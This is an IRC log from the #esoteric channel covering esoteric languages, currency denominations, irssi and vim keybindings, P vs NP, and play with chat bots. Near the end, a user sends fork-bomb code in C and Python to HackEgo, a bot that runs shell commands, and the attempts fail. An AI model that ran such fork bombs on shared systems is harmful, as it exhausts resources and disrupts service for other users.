10:07:59 <zzo38> Also, one bit of the instruction (other than FLG) is used to indicate whether or not the instruction affects flags. Some instructions affect some (but not all) flags anyways even if this bit is cleared, such as the CMP, MSK, and LFL instructions.
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14:28:51 <int-e> @tell boily I lament the lack of lambdabot messages.
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14:35:31 <fizzie> int-e: Perhaps you should incorporate some fungot technology so that, if someone is explicitly asking for messages yet has none, it'd write one?
14:35:31 <fungot> fizzie: alice gave a weary sigh. " but what are they for?' alice asked at last, by common consent, into a few random groups, seated on the ground near the door, she ran across the duchess ( who was now out of prison, and he went and he lived in another town. so the lion ate the wrong man."
14:38:41 <int-e> good fungot fungot day
14:38:41 <fungot> int-e: " who are the audience to be?" i said. i was dreaming again.
14:39:06 <int-e> Fungot is astonishingly astute ... sometimes.
14:39:19 <int-e> And still case sensitive, I'm happy to see.
15:00:55 <fizzie> http://hs13.snstatic.fi/webkuva/taysi/560/1305796309581 man, that thing looks like some sort of a block loading glitch.
15:01:27 <fizzie> (It's apparently the winning proposal for the memorial for the Utøya thing.)
15:03:55 <Melvar> Oh man, it totally does. That’s hilarious.
15:04:35 <fizzie> Lots of Minecrafters in Norway, I suppose.
15:04:56 <elliott> fizzie: unrealistic, it has water there
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16:23:10 <Taneb> Thank you #esoteric
16:24:32 <Taneb> For, while not teaching me particularly much CS, very much preparing my mind for learning it
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17:44:04 <Jafet> esowiki should be purged of any languages less esoteric than https://github.com/jloughry/BANCStar
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18:11:07 <zzo38> Can someone write a new compiler for BANCStar?
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18:18:52 <ais523> zzo38: not without a spec, and I'm not sure there's a public spec
18:19:11 <ais523> Jafet: BANCStar is normally considered non-eso, although there have been huge debates
18:19:18 <ais523> it's one of the most contentious wrt "eso or not"
18:19:40 <ais523> the main argument against is that it was intended as an intermediate language asm, and it's not massively insane as intermediate languages go
18:20:33 <Jafet> The main argument is that most languages on the esowiki are not really that esoteric
18:22:52 <zzo38> I would like to see the documentation if someone would release it. Some things I may be able to figure out from the example programs, though
18:26:59 <zzo38> It is still a bit unusual even as an intermediate language though
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18:36:04 <zzo38> I notice that the numbers seem to fit in a signed 16-bit integer, and wonder if that is a limit. Also, some operands are omitted; are those treated as -32768 or something like that?
18:36:40 <zzo38> Are blocks allowed to be nested?
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18:48:16 <zzo38> Why does it crash when there is a dot in the source file?
18:52:25 <zzo38> It looks when writing to a variable, you represent a constant number by multiplying it by ten and adding 22002. When reading it is different.
18:52:29 <Taneb> I have a typewriter
18:54:22 <zzo38> Hopefully the rest of the pages can be scanned.
18:54:30 <zzo38> Taneb: What model is it?
18:55:46 <Taneb> Seems to be a variant of a Brother 210
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19:06:53 <quintopia> what are you going to do with it Taneb
19:07:03 <zzo38> I also have a typewriter, which is also Brother.
19:07:11 <zzo38> I use it for typing addresses on envelopes.
19:07:45 <Taneb> quintopia, type, probably
19:07:52 <Taneb> Go to CS lectures and take notes
19:10:04 <zzo38> You take notes with a typewriter?
19:10:06 <quintopia> i hope it makes loud clicking sounds that disturb the whole class
19:11:43 <Taneb> Anyway, I have an adventure to go on
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19:20:30 <oerjan> a brilliant plan for getting thrown out of class
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19:22:15 <ion> http://www.ted.com/talks/renny_gleeson_404_the_story_of_a_page_not_found Sorry, we’re experiencing technical difficulties. Our tech team is on it. In the meantime, why not take a break and watch Renny Gleeson’s talk, 404, the story of a page not found.
19:24:24 <ais523> oerjan: I remember an event a while back when someone from a poor family took a typewriter to university with them because the family owned one, and couldn't afford a computer
19:24:33 <ais523> and the university's response was to buy them a laptop
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20:50:47 <ion> http://www.change.org/petitions/president-obama-ban-the-production-use-and-circulation-of-the-paper-us-dollar
20:54:12 <Bike> this is a bitcoin thing isn't it
20:55:03 <ais523> I'd like to see the official response to that one
20:55:32 <zzo38> Should they instead use a dollar coin like we have in Canada?
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21:01:49 <ais523> US has both paper and metal-coin dollars, IIRC
21:02:46 <zzo38> Is it useful to have both?
21:05:22 <oerjan> the metal-coin ones are historical relics, aren't they?
21:05:26 <Bike> yeah. dollar coins are nice for hitting people, and with dollar bills you can make emergency bandages or gags easily.
21:05:57 <Bike> oerjan: nah, they keep trying to push new ones. never really works
21:06:27 <Bike> looks like the last batch was stopped in 2011.
21:06:33 <Bike> i've actually never seen any of them, how about that
21:07:06 <oerjan> i suppose they actually _would_ have to stop productions of the paper ones to make the coins take off.
21:08:22 <oerjan> in norway we've changed denominations from bills to coins several times, the bills usually stop being legal tender after a while.
21:09:48 <oerjan> and of course we drop coins as well. last one to go was the 50 øre, which means our krone is no longer divided into smaller units, at least physically.
21:10:52 <oerjan> it's funny how the usa insists on keeping pennies while we are dropping the equivalent of 10 cent coins
21:15:12 <ais523> there was a big deal when the £2 coin was introduced in the UK a while back
21:15:35 <ais523> we haven't had higher denominations for ages, though, and £2 coins still feel a little like a novelty
21:15:47 <ais523> £5 coins technically exist but aren't in general circulation
21:16:51 <ais523> elliott: I guess that means I was at the right age at the time to think it was a really big deal
21:17:07 <ais523> I still think of them as being special
21:17:21 <ais523> I think of £50 notes as special, too, but that's mostly because although they're in general circulation they're hardly ever used
21:17:22 <Bike> i have a huge wad of $2s
21:17:46 <Bike> there's this thing in murka where we treat $2 as weird and rare even though they have consistently been worth two dollars for the last billion years, unlike 50¢ coins and such
21:17:53 <zzo38> I think someone told me that two pound coins are similar to one pound coins?
21:17:56 <ais523> to the extent that if you go to a bank and ask for a large amount of money (say £1000), they'll give it to you in £20 notes rather than £50 notes unless you specifically request otherwise
21:18:16 <ais523> zzo38: they look very different, they're about twice as large, and have an inner section that's a different color
21:18:41 <ais523> Bike: 50¢ coins haven't consistently been worth 50¢?
21:19:31 <zzo38> Then I don't know why they said it is similar
21:19:50 <ais523> yes, I think they were just wrong
21:19:55 <Bike> old dollars are full of silver and suchlike
21:20:27 <ais523> the outside of a £1 coin and £2 coin is the same color and that color (i.e. the metal alloy that produces it) isn't used by other UK coins, so that's a similarity
21:20:30 <ais523> but that's about the only similarity
21:20:40 <ais523> (the £1 coin is made of that alloy all the way through, the £2 only around the outside)
21:21:29 <Bike> haha, back in the late 1800s they made a $50 coin, awesome
21:24:14 <zzo38> Do you know anything about pattern matching on trees or on list of instructions? I tried to make something to pattern match on list of instructions, is it OK in your opinion?
21:24:28 <zzo38> And I still need to add a expression tree pattern match
21:24:45 <Bike> one time i tried to pattern match a tree but my skin got all covered in sap
21:25:27 <ais523> zzo38: I wrote OIL for doing pattern matching and replacement on INTERCAL parse trees
21:25:47 <ais523> zzo38: here is the documentation: http://c.intercal.org.uk/manual/dlbvn76f.htm#Optimizer-Idiom-Language
21:25:52 <zzo38> ais523: Yes I saw that
21:26:06 <zzo38> I wonder how well something similar would work for something I am making
21:26:28 <zzo38> In my case, optimization is not the only use of such thing, although it can be one such use.
21:26:45 <zzo38> Optimization is also performed on list of instructions too, though
21:27:39 <ais523> zzo38: I think optimization on lists of instructions is called "peephole optimization"
21:27:57 <ais523> and yes, optimization isn't the only use, it's just my use
21:28:00 <zzo38> ais523: Yes, it is peephole optimization.
21:28:17 <zzo38> I wrote part of a program to do so, but I would like it reviewed.
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22:42:31 <`^_^v> just wrote my first unification algorithm, now i feel like a computer scientist
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22:54:38 <Taneb> Today I met a Norwegian computer scientist from IRC. I am disappointed she was not in fact oerjan
22:56:03 <olsner> hmm, no bot... might have been oerjan_ anyway
22:57:47 <oerjan> is that a horrible mistypo of something?
22:58:27 <olsner> "from IRC" probably means "is also on IRC somewhere"
22:58:31 <ais523> oerjan: possibly an elision of "someone I know from IRC", which is how I interpreted that
22:58:58 <oerjan> but then it makes no sense that he'd be disappointed she wasn't me.
22:59:32 <oerjan> btw i am _not_ a computer scientist by profession.
23:00:36 <oerjan> Taneb: SPEAK UP YOU WRETCHED SCOUNDREL TWH
23:01:08 <Taneb> By "from IRC", I mean "I know this person primarily via IRC"
23:01:11 <elliott> plot twist: it *was* oerjan
23:01:26 <oerjan> plot twist, it was elliott.
23:01:37 <Taneb> oerjan, goodbye universe
23:02:38 <oerjan> in an alternative universe, it was elliott. r.i.p. universe.
23:10:36 <olsner> r.i.p.? why did the universe die?
23:10:52 <Taneb> olsner, elliott and I came into contact
23:11:06 <olsner> oh, is that what happens when that happens?
23:11:44 <olsner> lucky we have these alternate universes then
23:13:45 <Taneb> In some alternate universes, alternate universes don't exist
23:14:01 <olsner> "Our bonus program is not frosting, it is part of the cake." makes it sound like it's not a bonus program at all
23:24:59 <oerjan> fungot: are you from irc?
23:24:59 <fungot> oerjan: transcribed from the fnord: he fnord the chain, that fnord the pin: he fnord the words " this is fnord phrase i had learned from the fnord fnord: to be taken up. " from your point of view, that is,
23:25:28 <ais523> clearly we need a version of fungot that lives entirely on the blockchain
23:25:28 <fungot> ais523: then, with a fnord hand, and we eagerly followed." " i doubt if even muriel would run away from one of them had got a moth's wing to fnord great brown moth's wing, oo know, and so he didn't want the other caterpillar to see the lion and the unicorn
23:25:34 <oerjan> i think that response may have been redacted.
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00:03:46 <zzo38> OIL doesn't look to be quite the kind of things I needed
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00:07:45 <zzo38> I want to compile a tree pattern with capturing into SQL and then have it to execute a SQL program if it matches, placing the output of the program in place of the original expression which was matched.
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01:29:32 <zzo38> Do peephole optimizers normally use inner blocks or anything similar?
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07:58:14 <fizzie> Bike: "Subject: [MATLAB Webinars] Upcoming Academic Sessions" "Raspberry Pi Programming using Simulink" are you excited yet?
07:58:30 <Bike> i've been debating the effort a numpy port would take
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07:59:08 <fizzie> Also on the menu: "Connecting Hardware to MATLAB and Simulink" and "Mobile Robot Simulation for Collision Avoidance with Simulink". There's some kind of a THEME here.
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08:09:17 <Jafet> Now all we need is a port of labview
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08:15:34 <zzo38> Does Raspberry Pi include libraries for accessing GPIO ports in all of the programming languages it includes?
08:16:41 <zzo38> I know Mathematica has it, but I don't know if it includes libraries or examples or anything to deal with it in C.
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08:26:02 <fizzie> I don't even remember if it includes an "official" OS that could include languages.
08:27:12 <fizzie> I run the "Raspbian" variant of Debian on mine, and I wouldn't be surprised if there was at least one programming language implementation in the repositories where you can't get at the GPIO.
08:27:34 <fizzie> There's a C library, though.
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10:52:22 <coppro> U+2661 SIDEWAYS LESS THAN THREE SYMBOL
10:55:38 <ion> U+006D LATIN SMALL LIGATURE RN
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11:05:40 <fizzie> `run unidecode $(unicode 2661 6d)
11:05:41 <HackEgo> [U+2661 WHITE HEART SUIT] [U+006D LATIN SMALL LETTER M]
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11:30:34 <lambdabot> int-e said 21h 1m 42s ago: I lament the lack of lambdabot messages.
11:31:46 <boily> int-e: it is a problem I can relate to.
11:34:05 <boily> @tell int-e I wonder if lambdie accepts colours. Have an orange message!
11:35:08 <fizzie> @tell fungot Psst, please start surreptitiously writing lambdabot messages in private to people doing the lamenting.
11:35:08 <fungot> fizzie: " what a fnord such a dear, quiet thing." the three stanzas fnord describe " my first," she said.
11:36:38 <boily> somehow, the thought of fungot telling me “oh dear, what a fnord” helps me feel better.
11:36:38 <fungot> boily: 9. some judges are unjust."' she stood and listened very gravely for a few moments, the orator fnord, fnord,
11:40:29 <oerjan> ^echo @ask lambdabot are you ignoring me?
11:40:30 <fungot> @ask lambdabot are you ignoring me? @ask lambdabot are you ignoring me?
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11:42:23 <metasepia> ENVA 071120Z 13011KT CAVOK 09/01 Q0998 NOSIG RMK WIND 670FT 17018KT
11:42:51 -!- guardian_ has left.
11:43:15 <ion> ~metar TFTP
11:43:30 <boily> ^echo ~echo @tell oerjan circum-peri-unoptimized bot chain @tell!
11:43:31 <fungot> ~echo @tell oerjan circum-peri-unoptimized bot chain @tell! ~echo @tell oerjan circum-peri-unoptimized bot chain @tell!
11:43:31 <metasepia> @tell oerjan circum-peri-unoptimized bot chain @tell! ~echo @tell oerjan circum-peri-unoptimized bot chain @tell!
11:43:40 <metasepia> CYUL 071100Z 35002KT 15SM FEW240 M17/M21 A3028 RMK CI1 CI TR SLP255
11:44:04 <boily> ah! only -17 today. I hope at last my beard won't be freezing over when waiting for the bus.
11:44:07 <ion> ^echo ~echo @echo This is why NOTICE was invented
11:44:07 <fungot> ~echo @echo This is why NOTICE was invented ~echo @echo This is why NOTICE was invented
11:44:08 <metasepia> @echo This is why NOTICE was invented ~echo @echo This is why NOTICE was invented
11:44:08 <lambdabot> echo; msg:IrcMessage {ircMsgServer = "freenode", ircMsgLBName = "lambdabot", ircMsgPrefix = "metasepia!~metasepia@96.127.201.149", ircMsgCommand = "PRIVMSG", ircMsgParams = ["#esoteric",":@echo This is why NOTICE was invented ~echo @echo This is why NOTICE was invented"]} target:#esoteric rest:"This is why NOTICE was invented ~echo @echo This is
11:44:20 <lambdabot> metasepia said 48s ago: circum-peri-unoptimized bot chain @tell! ~echo @tell oerjan circum-peri-unoptimized bot chain @tell!
11:45:43 <ion> ~metar EFTP
11:45:44 <metasepia> EFTP 071120Z 19011KT 9999 FEW019 BKN055 05/02 Q1017
11:45:53 <ion> That’s what i was thinking of. I think
11:47:17 <fizzie> Sooner or later it'll have to work.
11:48:04 <metasepia> DAAP 071100Z 33010KT 9999 FEW040 15/04 Q1019
11:48:13 <metasepia> DAAP The Apple protocol that shares iTunes playlists with users across a network via their computers or media hubs.
11:48:26 <fizzie> Digital Audio Access Protocol, I think.
11:48:34 <boily> ~duck takhamalt airport
11:48:34 <metasepia> Takhamalt Airport also known as Illizi Airport, is an airport near Illizi, Algeria.
11:49:27 <boily> ~duck tampere-pirkkala airport
11:49:52 <boily> so ~duck manages to get infos on an algerian airport, but not a finnish one.
11:49:57 <fizzie> I don't think I've ever been at Tampere-Pirkkala.
11:50:04 <fizzie> Flying to Tampere seems really useless.
11:50:34 <fizzie> It's like 90 minutes by train.
11:50:49 <boily> our trains suck :(
11:51:46 <fizzie> Well, okay, it's 1:46 for InterCity; the 1:30 time is for Pendolino.
11:51:55 <fizzie> Still, less than two hours.
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11:52:43 <fizzie> Though apparently there exist direct Tampere-Budapest, Tampere-Bremen and Tampere-London flights, in addition to Tampere-Helsinki.
11:53:46 <boily> oerjan: shipping people in vacuum tubes would be a direct improvement over what we have.
11:54:03 <fizzie> 35 minutes to fly from Helsinki to Tampere. And then add at least one hour for getting to/from the airport, security checks, boarding and just general being-on-time-in-case-of-queues.
11:54:25 <oerjan> i take it canadian trains are not very safe.
11:54:26 <fizzie> You can't even get to the city from Helsinki-Vantaa airport by rail yet.
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11:59:08 <boily> oerjan: for the very few that we have, they are safe.
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12:40:51 <fizzie> "By becoming an IEEE Member, you agree to -- b. Support the enhancement of IEEE principles, objectives and activities; and --"
12:40:56 <fizzie> It's all so terribly vague.
12:41:24 <fizzie> (It's cheaper to join for one year and get a conference price discount than not join and pay full price for a conference trip.)
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12:42:56 <oerjan> just 1/3 the usual price + your firstborn
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12:53:49 <atriq> `unicode INVISIBLE TIMES
12:53:57 <atriq> `unicode INVISIBLE PLUS
12:54:04 <atriq> `unicode FUNCTION APPLICATION
12:54:20 <HackEgo> [U+200B ZERO WIDTH SPACE] [U+2061 FUNCTION APPLICATION]
12:54:46 <fizzie> oerjan: How does that work if I never have any children, though?
12:55:24 <fizzie> `run unidecode $(unicode 'INVISIBLE TIMES' 'INVISIBLE PLUS' 'FUNCTION APPLICATION') # let's try the round-trip
12:55:24 <HackEgo> [U+2062 INVISIBLE TIMES] [U+2064 INVISIBLE PLUS] [U+2061 FUNCTION APPLICATION]
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12:55:50 <fizzie> In related news, I finally fixed `unicode to accept also hex in addition to character names.
12:56:00 <oerjan> fizzie: they're counting on people like that getting rarer with time hth
12:57:23 <oerjan> you hexed `unicode, ok
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13:27:09 <myname> why the hell are there invisible operators?
13:27:42 <fizzie> So that you can say something that looks like "ab" but unambiguously means the product of a and b.
13:31:15 <fizzie> Trenitalia's ticket search form has this unexplained "Find best price [ ]" checkbox that I can't figure out what it does, exactly.
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13:34:46 <fizzie> If I check it, there are no results; if I don't, I get lots of results but they all say "The travel solution is not sellable for the selected segment" in the price column.
13:34:57 <fizzie> I don't think this was this difficult the last time.
13:36:34 <fizzie> Apparently it's because the solutions involve a regional train, and they don't sell tickets for those over the Internet.
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18:31:01 <oerjan> eep there i pressed ctrl-F5 instead of fn-F5 again
18:31:16 <oerjan> no real harm, but still...
18:31:51 <oerjan> (the former, as you probably know, reloads the web page. on my laptop the latter turns down brightness.)
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18:49:09 <quintopia> does irssi have a key that instantly scrolls you to the newest line of a channel that you've accidentally left scrolled up?
18:51:38 <oerjan> the end key does that for me, i'm not sure if i made an explicit binding for it (i did it for either home/end or ^A/^E)
18:52:27 <quintopia> i don't have an end key on my phone
18:52:36 <Melvar> You need End to jump to the end of the line you’re editing.
18:53:02 <oerjan> Melvar: i set ^E to do that instead
18:53:23 <elliott> quintopia means pgup/pgdn, I think.
18:54:38 <quintopia> now i just gotta find a key to bind...i don't have many left on this small keyboard
18:55:06 <oerjan> you can bind some combination i assume
18:56:41 <quintopia> of course. not many of those left either
18:56:44 <oerjan> Melvar: or possibly, ^E and end already both do that by default, and i set end to do the other thing instead.
18:56:52 <oerjan> it was something silly like that.
18:57:21 <fizzie> oerjan: End doesn't seem to do it here.
18:57:34 <fizzie> (And neither does ^E.)
18:57:49 <oerjan> maybe one of them was unset, then.
18:57:53 <Melvar> quintopia: Are you lacking modifiers?
18:58:01 <fizzie> Oh, sorry, I misread that.
18:58:09 <fizzie> Yeah, both End and ^E do end-of-line.
18:58:19 <fizzie> (And neither do scroll_end.)
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18:59:00 <oerjan> yeah i think there is no default binding that does scroll_end
18:59:22 <fizzie> According to /bind, "chome" and "cend" are bound to scroll_start/scroll_end, but I have no idea what those are.
18:59:32 <fizzie> (It's clearly not ctrl-home and ctrl-end.)
18:59:45 <oerjan> which meant it was obvious to pick one of the redundant ones to change
19:00:42 <oerjan> fizzie: oh indeed they do, maybe it was added in a later irssi version.
19:01:03 <fizzie> cleft and cright are bound to backward_word and forward_word, and I get those behaviors with shift-left/right, but I don't seem to get scroll_end with any modifier applied to the end key.
19:01:24 <quintopia> Melvar: nah. i can do M and C. i've got most of the M ones bound. i'll just find some C one that screen doesn't need
19:01:26 * Melvar has End on Level5shift+o , so easier than Ctrl+e .
19:03:23 <ion> I ended up in a stalemate with the FTL boss. Neither of us has weapons.
19:04:34 <oerjan> Melvar: well i rarely use End anywhere else except in the browser, where it usually means go to bottom of page, so it was more mnemonic for me.
19:05:22 <quintopia> F4 (since that's the number with $ on it...good mnemonic)
19:06:27 <oerjan> if i do any serious editing, i use vim and there i'm used to $, although End would work too.
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19:07:36 <oerjan> quintopia: you'd want G if you are going for vim mnemonic for that :P
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19:12:34 <quintopia> i can never remember G. just now i was editing the config in vim and thinking 'hmm all this scrolling down...i sure wish i could remember what the shortcut was to scroll to the bottom...'
19:13:13 <quintopia> annnnnd i put an error in the config damn
19:14:56 <oerjan> i use G all the time because "+yG at the top is the simplest way to copy the whole window out of vim
19:15:23 <quintopia> i don't vim edit often enough to be proficient
19:15:54 <Melvar> oerjan: $ is Level3shift+ö , which is definitely harder to reach than Level5shift+o , so I mostly use the latter in vim.
19:18:19 <quintopia> i have no idea what this phone is doing keywise
19:18:28 <oerjan> oh a german keyboard layout
19:20:02 <oerjan> and i also tend to use VG: instead of :.,$ for doing an ex command till end of file
19:22:03 <olsner_> I usually go via visual mode too, haven't gotten the hang of the syntax for ranges in ex (yet?)
19:22:08 <oerjan> and dG and yG get some use when i'm duplicating stuff at the end
19:23:04 <oerjan> visual mode also makes it easy to adjust the selection a little
19:23:15 <olsner_> you can have lots of fun with g in vim ... gggqG is probably my favorite
19:23:43 <oerjan> that formats the whole window, iirc
19:24:02 <oerjan> i tend to use gq only on a few lines at the time
19:24:23 <olsner_> yep, never actually *use* that sequence because reformatting tends to change stuff I don't intend to change
19:25:23 <oerjan> i have a tendency to use Jgqq
19:25:42 <olsner_> hmm, does that do the same as gqj?
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19:26:27 <oerjan> except, if the second line contains some indentation that gq won't change
19:26:51 * Melvar is a vim heretic: uses level5shift+iale = ←↓↑→ instead of hjkl, because hjkl are scattered around in inconvenient places.
19:27:11 <olsner> gqj merges the lines if the first line is shorter than the wrapping width, at least in my config
19:27:51 <FireFly> I like hjkl's position on dvorak
19:27:56 <zzo38> I notice ISO 646 does not have German quotation marks.
19:28:48 <zzo38> Therefore it makes it more difficult converting ISO 646 to Z-machine characters.
19:30:29 <oerjan> Melvar: i use arrows even with qwerty
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19:31:54 <zzo38> oerjan: I do it both ways, using arrow keys when not in command mode
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19:40:06 <oerjan> new blog post about "why we should believe P != NP" http://www.scottaaronson.com/blog/?p=1720 i just got to a couple nice examples of how thin yet sharp the boundary between P and NP-complete problems can be
19:44:30 <elliott> is it bad if I want P = NP because it sounds more interesting? :(
19:44:49 <oerjan> no, but you may be out of luck
19:46:31 <elliott> motl sure is an interesting personality.
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20:03:02 <oerjan> i think aaronson's frog analogy is getting out of hand
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20:23:44 <int-e> P = NP would make the world of complexity classes much less interesting.
20:28:41 <Bike> more interesting? i like crypto, personally
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20:37:48 <fizzie> I liked the bit that went "-- computer scientists are just not very smart—certainly not as smart as real scientists --".
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20:39:27 <oerjan> fizzie: one might suspect that to be a highly watered down luboš motl statement.
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21:01:33 <quintopia> oh i see why my new key binding wasn't working
21:01:43 <quintopia> Irssi: Unknown command: scroll_end
21:08:35 <lambdabot> Source not found. My mind is going. I can feel it.
21:09:02 <oerjan> hm they're not defined directly in terms of each other any longer?
21:09:25 <oerjan> i guess that helps sharing.
21:09:40 <oerjan> but not my attempt to provide an example on reddit.
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21:10:17 <oerjan> quintopia: well scroll_end is presumably more like a key designation than a command
21:11:01 <fizzie> There's a technical term for it, but I forget what it is.
21:11:19 <fizzie> "Bind some action to specified keystroke" yes, I think that's it.
21:12:08 <oerjan> quintopia: i think you just need to leave off the / ?
21:14:36 <fizzie> Those "you've last seen things this far" lines are something I'd kind of like to get; I'm sure there's an app... I mean, a script for that.
21:17:27 <oerjan> heh yeah, i keep leaving windows slightly backscrolled just to simulate it
21:18:18 <oerjan> which gets a little awkward when combined with an occasional bug in the code to add "More" to the window's status line
21:18:22 <quintopia> oerjan: i need to know the name of the command to bind the key
21:18:41 <oerjan> quintopia: /bind whateveryourkey scroll_end
21:19:03 <quintopia> maybe scroll_end is added in a more recent version?
21:19:36 <fizzie> You can check with "/bind -list".
21:19:39 <oerjan> i'm sure it's been many years since i added it
21:20:00 <quintopia> ...it's called scroll_end on that list
21:20:18 <quintopia> but then why is irssi telling me it's an unknown command
21:20:23 <fizzie> Because it's not a command.
21:20:27 <fizzie> You bind actions, not commands.
21:20:38 <fizzie> Or, well, you can also bind commands, if you start them with the /.
21:20:40 <oerjan> quintopia: 0.8.15 here too
21:20:48 <fizzie> But if you bind something like oerjan says, with no /, then you're binding an action.
21:20:59 <quintopia> so i should call it an action rather than a command
21:24:30 <fizzie> (Technically, I think "/bind X /foo" is equivalent to "/bind X command foo", which is using the action called "command" that runs a command.)
21:28:29 <quintopia> okay now my phone won't even send the same keycode for ^4 it was sending befor
21:29:43 <quintopia> i'll just bind M- instead...crazy?
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21:46:59 <int-e> if only this were true ... "Note that the lid switch is ignored if the system is inserted in a docking station, or if more than one display is connected."
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21:55:26 <int-e> Oh, that's a very recent change, not yet released. Pity. In the meantime ... it sucks.
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00:17:00 <zzo38> The 16-bit instruction set that I have made up, now I wrote complete documenation of it: http://zzo38computer.org/textfile/miscellaneous/cpu16.txt
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00:36:25 <Sgeo> Four Chords always ends with Scar, right?
00:36:34 <Sgeo> That would make sense, but Wikipedia doesn't say that :(
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00:40:50 <zzo38> Why do you think it does?
00:44:02 <Sgeo> zzo38: all the renditions I've heard end with Scar, and the lyrics of Scar fit perfectly with the theme of Four Chords
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02:41:20 <Sgeo> "The act of merging can introduce bugs, either through incompatible semantics of the two branches, or due to mistakes reconciling the two branches during the merge."
02:41:26 <Sgeo> Screw text-based version control
02:41:44 <Sgeo> Although even semantic code editing can't fix some merge problems, I guess
02:42:08 <Bike> nothing in your quote has anything to do with text, unless i'm missing something
02:48:38 <Sgeo> '"Snowden claims that he's won and that his mission is accomplished," Clapper also noted. "If that is so, I call on him and his accomplices to facilitate the return of the remaining stolen documents that have not yet been exposed to prevent even more damage to U.S. security."'
02:48:59 <Sgeo> Bike: text-based version control makes mistakes liklier, I beliebe
02:49:19 <Sgeo> ^^um, how is Clapper expecting 'documents to be returned'?
02:49:33 <Sgeo> Even if every concern of his is valid, he's asking for the impossible
02:52:48 <Bike> Maybe you're the impossible one, sgeo.
03:00:43 <elliott> it is AI-complete to do merges without breaking things
03:01:01 <elliott> Sgeo: turn over the disks, presumably
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03:41:29 <newsham> you're taking clapper's statement at face value
03:41:49 <newsham> instead of interpretting it as a propaganda campaign
03:42:06 <newsham> that is why it doesnt seem to make sense
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04:56:28 <zzo38> The AWK program 'x++' will output everything except for the first line. You could use this in a shebang line.
04:57:49 <zzo38> Well, it won't work if it overflows, I suppose, but usually you won't have a lot of lines.
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05:34:43 <pikhq> Is awk specified to use an int instead of a bignum?
05:37:56 <pikhq> Ah, worse, it's a float.
05:38:14 <pikhq> So no overflow, but...
05:39:23 <pikhq> The spec is quite specific. awk uses doubles as its numeric type.
05:39:37 <pikhq> I didn't expect that.
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05:53:01 <monotone> "#!/usr/bin/tail +2" (or "--lines=+2") works similarly.
05:53:45 <newsham> french thunks terminal consonants
05:53:47 <Bike> doesn't one of the scripts round here do that
05:54:04 <zzo38> monotone: Yes I suppose that may work too
05:54:17 <monotone> I remember writing one that did that, actually.
05:55:04 <newsham> i found out my favorite rpn calculator uses double's internally
05:55:26 <newsham> even though it often prints them as integers (in various bases)
05:56:16 <monotone> I'd look it up in the hgfs repo but I forget where that is.
05:56:23 <lambdabot> help <command>. Ask for help for <command>. Try 'list' for all commands
05:56:27 <Bike> errrrr what was it
05:56:34 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
05:57:39 <monotone> http://codu.org/projects/hackbot/fshg/index.cgi/file/d648a4814871/bin/cats
05:58:15 <quintopia> http://en.wikipedia.org/wiki/Julius_Richard_Petri
05:59:11 <HackEgo> Using built-in specs. \ COLLECT_GCC=gcc \ COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.7/lto-wrapper \ Target: x86_64-linux-gnu \ Configured with: ../src/configure -v --with-pkgversion='Debian 4.7.2-5' --with-bugurl=file:///usr/share/doc/gcc-4.7/README.Bugs --enable-languages=c,c++,go,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.7
06:00:08 <newsham> `echo main(){for(;;)fork();} > x.c
06:00:09 <HackEgo> main(){for(;;)fork();} > x.c
06:02:42 <newsham> `python -c "import os; while 1 : os.fork()
06:02:43 <HackEgo> File "<string>", line 1 \ "import os; while 1 : os.fork() \ ^ \ IndentationError: unexpected indent
06:02:46 <newsham> `python -c "import os; while 1 : os.fork()"
06:02:47 <HackEgo> File "<string>", line 1 \ "import os; while 1 : os.fork()" \ ^ \ IndentationError: unexpected indent
06:05:16 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
06:05:58 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
06:06:09 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
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06:18:22 <monotone> Defeating fork bombs through syntax errors!
06:36:03 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: sudo: not found
06:36:38 <Bike> i'm like 80% haskell's in there somewhere.
06:36:44 <HackEgo> bash \ bunzip2 \ bzcat \ bzcmp \ bzdiff \ bzegrep \ bzexe \ bzfgrep \ bzgrep \ bzip2 \ bzip2recover \ bzless \ bzmore \ cat \ chgrp \ chmod \ chown \ cp \ cpio \ dash \ date \ dd \ df \ dir \ dmesg \ dnsdomainname \ domainname \ echo \ ed \ egrep \ false \ fgrep \ findmnt \ fuser \ grep \ gunzip \ gzexe \ gzip \ hostname \ ip \ kill \ kmod \ less \
06:36:49 <HackEgo> ` \ ^.^ \ ̊ \ ? \ ¿ \ @ \ ؟ \ ＷＥＬＣＯＭＥ \ \ \ aaaaaaaaa \ addquote \ addwep \ allquotes \ anonlog \ as86 \ aseen \ bienvenido \ botsnack \ bseen \ buttsnack \ calc \ CaT \ catcat \ cats \ cdecl \ c++decl \ chroot \ coins \ complain \ complaints \ danddreclist \ define \ delquote \ delvs \ dis86 \ e \ echo \ echo \ ello \
06:37:42 -!- ^v has quit (Quit: Leaving).
06:37:48 <HackEgo> /hackenv/bin:/opt/python27/bin:/opt/ghc/bin:/usr/bin:/bin
06:38:00 <HackEgo> ls: cannot access /opt/ghc/bin: No such file or directory
06:38:13 <Bike> `run ls | grep hs
06:38:22 <Bike> `ghc -O2 Test.hs
06:38:22 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ghc: not found
06:39:10 <HackEgo> bin/`: ASCII text \ bin/̊: ASCII text \ bin/?: POSIX shell script, UTF-8 Unicode text executable \ bin/¿: ASCII text \ bin/@: Perl script, ASCII text executable \ bin/؟: ASCII text \ bin/: empty \ bin/e: UTF-8 Unicode text \ bin/h: Perl script, ASCII text executable \ bin/q: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically li
